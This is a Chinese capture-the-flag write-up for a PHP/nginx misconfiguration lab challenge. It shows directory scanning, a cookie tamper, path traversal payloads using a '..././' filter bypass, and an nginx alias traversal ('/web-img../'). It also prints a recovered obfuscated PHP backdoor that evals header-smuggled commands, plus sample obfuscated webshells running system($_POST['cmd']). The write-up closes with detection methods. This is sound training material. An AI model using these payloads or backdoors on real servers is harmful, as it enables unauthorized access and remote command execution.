8.攻防世界Web_php_wrong_nginx_config

进入题目页面如下

尝试弱口令密码登录

一直显示网站建设中,尝试无果,查看源码也没有什么特别漏洞存在

用Kali中的dirsearch扫描根目录试试

命令:

dirsearch -u http://61.147.171.105:53736/ -e*

登录文件便是刚才登录的界面打开robots.txt文件

有两个文件分别查看

hint.php文件提示配置文件有问题

虽给出提示但根目录也无法下手如何找到路径

Hack.php一直弹窗请登录!

尝试用burp suite抓Hack.php文件的包

发现cookie的值登录这里有异常,尝试改变值,改为1试试

出现页面

点击多个链接并抓包在管理中心这个链接中抓包修改cookie值为1再放行得到/admin/admin.php?file=index&ext=php文件

发送到重放器重点分析

看了一位大佬的博客才知道可能过滤了../,链接如下

攻防世界web Web_php_wrong_nginx_config - zhangzhijie98 - 博客园

构造payload

?file=i../ndex&ext=php

出现please continue

构造payload

?file=i./ndex&ext=php

没有出现please continue

判断是过滤了../

尝试用 ..././ 来绕过

构造payload

?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext=

得到配置信息

server {

listen 8080; ## listen for ipv4; this line is default and implied

listen [::]:8080; ## listen for ipv6

root /var/www/html;

index index.php index.html index.htm;

port_in_redirect off;

server_name _;

Make site accessible from http://localhost/

#server_name localhost;

If block for setting the time for the logfile

if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {

set year 1;

set month 2;

set day 3;

}

Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html

sendfile off;

set http_x_forwarded_for_filt http_x_forwarded_for;

if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {

set http_x_forwarded_for_filt 1???;

}

Add stdout logging

access_log /var/log/nginx/hostname-access-year-month-day.log openshift_log;

error_log /var/log/nginx/error.log info;

location / {

First attempt to serve request as file, then

as directory, then fall back to index.html

try_files uri uri/ /index.php?q=uri\&args;

server_tokens off;

}

#error_page 404 /404.html;

redirect server error pages to the static page /50x.html

error_page 500 502 503 504 /50x.html;

location = /50x.html {

root /usr/share/nginx/html;

}

location ~ \.php$ {

try_files uri uri/ /index.php?q=uri\&args;

fastcgi_split_path_info ^(.+\.php)(/.+)$;

fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;

fastcgi_param SCRIPT_FILENAME document_rootfastcgi_script_name;

fastcgi_param SCRIPT_NAME $fastcgi_script_name;

fastcgi_index index.php;

include fastcgi_params;

fastcgi_param REMOTE_ADDR $http_x_forwarded_for;

}

location ~ /\. {

log_not_found off;

deny all;

}

location /web-img {

alias /images/;

autoindex on;

}

location ~* \.(ini|docx|pcapng|doc)$ {

deny all;

}

include /var/www/nginx[.]conf;

}

访问 /web-img/,这个地方可以进行文件遍历,直接点会跳转到登录页面

构造payload

/web-img../

在根目录下/var/www/下有hack.php.bak文件

构造payload

/web-img../var/www/

得到上述文件其中一个是hack.php的备份,下载下来

打开得到PHP代码,但怎么是乱码啊qyq

运行代码,输出$f,可以用下面这个在线运行工具

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

复制代码
$kh="42f7";$kf="e9ac";
function x($t,$k) {$c=strlen($k);
$l=strlen($t);$o="";for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {$i}^$k {$j};}}return $o;}$r=$SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$SESSION;$ss="substr";$sl="strtolower";$i=$m1.$m1;
$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m2];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);}
if(array_key_exists($i,$s)) {
$s[$i].=$p;$e=strpos($s[$i],$f);
if($e) {$k=$kh.$kf;ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();
ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");@session_destroy();}}}}

这里看大佬编写了一个脚本最终得到flag

这里涉及一个PHP混淆后面分析的知识点

PHP 混淆后门

PHP 混淆后门是一种经过特殊处理的恶意 PHP 代码,攻击者将其部署在目标服务器上,以实现对服务器的远程控制和非法访问。为了逃避安全检测工具(如防火墙、入侵检测系统等)的监测,攻击者会对原始的后门代码进行混淆处理。混淆手段包括但不限于变量和函数名替换、代码结构打乱、字符串加密等,使代码难以阅读和分析。

常见的 PHP 混淆后门形式及原理

1. 变量和函数名替换混淆
  • 原理:将正常的变量名和函数名替换为无意义的随机字符串,使代码的语义变得模糊。
  • 示例
php 复制代码
// 原始后门代码
<?php
if ($_POST['pass'] == 'password') {
    system($_POST['cmd']);
}
?>

// 混淆后的代码
<?php
if ($_POST['a'] == 'b') {
    $c = 'system';
    $c($_POST['d']);
}
?>

在混淆后的代码中,变量名和字符串都被替换,使得安全检测工具难以通过关键字匹配发现后门。

2. 代码结构打乱混淆
  • 原理:改变代码的执行顺序,插入无用的代码块或分支,增加代码的复杂度。
  • 示例
php 复制代码
<?php
$rand = rand(1, 10);
if ($rand % 2 == 0) {
    if ($_POST['pass'] == 'password') {
        system($_POST['cmd']);
    }
} else {
    // 无用代码块
    $x = 1 + 2;
    $y = $x * 3;
}
?>

这种混淆方式使代码逻辑变得混乱,增加了分析的难度。

3. 字符串加密混淆
  • 原理:对代码中的敏感字符串(如密码、命令执行函数名等)进行加密处理,在运行时再进行解密。
  • 示例
php 复制代码
<?php
$key = 'secretkey';
$encrypted = 'aGVsbG8='; // 假设这是加密后的字符串
$decrypted = base64_decode($encrypted);
for ($i = 0; $i < strlen($decrypted); $i++) {
    $decrypted[$i] = $decrypted[$i] ^ $key[$i % strlen($key)];
}
if ($_POST['pass'] == $decrypted) {
    $func = 'system';
    $func($_POST['cmd']);
}
?>

在这个示例中,密码字符串被加密,只有在运行时解密后才能使用,增加了检测的难度。

检测和防范 PHP 混淆后门的方法

检测方法
  • 静态代码分析:使用代码扫描工具对服务器上的 PHP 文件进行全面扫描,检测代码中的异常模式和潜在的后门特征。一些开源的代码扫描工具如 PHPCS(PHP_CodeSniffer)可以帮助发现代码中的不规范和可疑之处
  • 动态行为监测:通过监测服务器的运行行为,如异常的文件操作、网络连接等,发现潜在的后门活动。入侵检测系统(IDS)和入侵防御系统(IPS)可以对服务器的网络流量和系统调用进行实时监测
  • 机器学习和深度学习方法:利用机器学习和深度学习算法对代码的特征进行学习和分析,识别出混淆后门。可以训练模型来区分正常代码和恶意代码
相关推荐
用户962377954482 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主3 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954485 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954485 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher7 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行10 天前
网络安全总结
安全·web安全